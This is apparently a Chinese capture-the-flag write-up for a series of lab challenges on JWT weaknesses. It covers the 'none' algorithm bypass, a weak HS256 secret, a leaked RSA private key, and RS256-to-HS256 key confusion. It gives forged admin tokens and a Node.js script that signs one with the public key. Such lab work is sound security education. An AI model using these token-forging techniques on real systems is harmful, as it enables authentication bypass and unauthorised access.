WEB入门——jwt
JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)
typ:声明类型
alg:声明加密的算法 通常直接使用 HMAC SHA256
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
web345
考点:None无签名认证
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJ1c2VyIiwianRpIjoiOTRkNjg3MGEyNzBkNGYxODMxMjdiNmM4MGQ2MDgyODAifV0
转换后,发现不存在第三部分的签证,也就不需要知道密钥。
{"alg":"None","typ":"jwt"}
[{"iss":"admin","iat":1769267674,"exp":1769274874,"nbf":1769267674,"sub":"user","jti":"94d6870a270d4f183127b6c80d608280"}]
修改为:
{"alg":"None","typ":"jwt"}
[{"iss":"admin","iat":1769266770,"exp":1769273970,"nbf":1769266770,"sub":"admin","jti":"799e837c321193fccb1af64e14be4431"}]
base64编码
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk0ZDY4NzBhMjcwZDRmMTgzMTI3YjZjODBkNjA4MjgwIn1d
访问 /admin/,不行
把前面的删了,只剩后面的就行了,不知道为啥
.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk0ZDY4NzBhMjcwZDRmMTgzMTI3YjZjODBkNjA4MjgwIn1d
web346
考点:修改算法为None
原来:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6InVzZXIiLCJqdGkiOiJhZGUwMjc1Nzk5MWJlZTAyMjQ3NjIyMDUyNTUzZTg0MyJ9.4865NvDEwYG65pz-8ubfNtDXYHg4D13EUT3tzTTkQAY
{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769267967,"exp":1769275167,"nbf":1769267967,"sub":"user","jti":"ade02757991bee02247622052553e843"}
修改为:
{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1769267967,"exp":1769275167,"nbf":1769267967,"sub":"admin","jti":"ade02757991bee02247622052553e843"}
分别base64加密
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6ImFkbWluIiwianRpIjoiYWRlMDI3NTc5OTFiZWUwMjI0NzYyMjA1MjU1M2U4NDMifQ
拼接,保留最后的 .
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6ImFkbWluIiwianRpIjoiYWRlMDI3NTc5OTFiZWUwMjI0NzYyMjA1MjU1M2U4NDMifQ.
web347
考点:弱口令密钥
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2ODY3OSwiZXhwIjoxNzY5Mjc1ODc5LCJuYmYiOjE3NjkyNjg2NzksInN1YiI6InVzZXIiLCJqdGkiOiIyZmU0OWYwNjU3ZjQwZjhmNjBjZWViZDkzYTg1ZjYzNCJ9.62kiLmjnmqByo_A2tLYH6uwum81jWPhHeajEvI7J_-w

秘钥为:123456
{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769268104,"exp":1769275304,"nbf":1769268104,"sub":"user","jti":"05f757857cb5ee13fae9b72ca2a289c5"}
修改:
{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769268104,"exp":1769275304,"nbf":1769268104,"sub":"admin","jti":"05f757857cb5ee13fae9b72ca2a289c5"}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2ODY4NSwiZXhwIjoxNzY5Mjc1ODg1LCJuYmYiOjE3NjkyNjg2ODUsInN1YiI6ImFkbWluIiwianRpIjoiNmYxMmE4NmZmOTM3ZWI1MzNlZTk5ZmVjZDAxZjVmZjkifQ.PuyQRS-OTDx5I5S7F5fA8OPribONyQcXAS5TFwyiP_A
成功登录
web348
考点:爆破
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2OTMzMCwiZXhwIjoxNzY5Mjc2NTMwLCJuYmYiOjE3NjkyNjkzMzAsInN1YiI6InVzZXIiLCJqdGkiOiJiYzk5MTI0YTUwNjQxNjhhYTQ1ZjM1ODkxZGUwMjI3MiJ9.8i4MLMQ6LX-AyZ4ujDbOIoR_UiR7pMugUJaXE5H596E

aaab

web349
考点:公钥私钥泄露
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
这里给了public.key和private.key的位置,直接访问下载
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc2OTI2OTY5MX0.HE1wzcKVrRoyDhz6ldCpRdctvsOEg7ckfG0v5QJN8mIWLEXBMBGuKStoJ-V88nUV6tiZnee7ItDdFwyalPeWWl8uYsXqPGJETF7YllwHkby2N9v2FRoclel9m4q1g5YZbKsM2_OEJhCLl7S8yRe0m8KsB2TkxvkdW2rdCptb5mE
{"alg":"RS256","typ":"JWT"}
{"user":"user","iat":1769269691}
改为:
{"alg":"RS256","typ":"JWT"}
{"user":"admin","iat":1769269691}

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjk2OTF9.hdQEkp-tc2iCgip3kBi4fAMFLpcpaoyU5ZBPCagHOpu76VlOccMp0vMOMGs4CqSHQw7GXkRZNgKgVVm7zw3nCpNI0DensZ0miHKfWni97DlgvOhlPJF2e5-647ujNe-nKlDO2bL379NrDNbD-FXFAstNIwKEhyGQD7q6auD-QCk
改成POST

web350
考点:密钥混淆攻击RS256=>HS256
\routes\index.js
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});
module.exports = router;
得到公钥
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NjkyNzE5MzZ9.Ku9Wge2_Bj4ni6AVihpg4yU8C1kRyngoCnpIVw6CJB4
解释:
HS256算法:使用密钥为所有消息进行签名和验证
RS256算法:使用私钥对消息进行签名、使用公钥进行身份验证
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256验证签名
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

浙公网安备 33010602011771号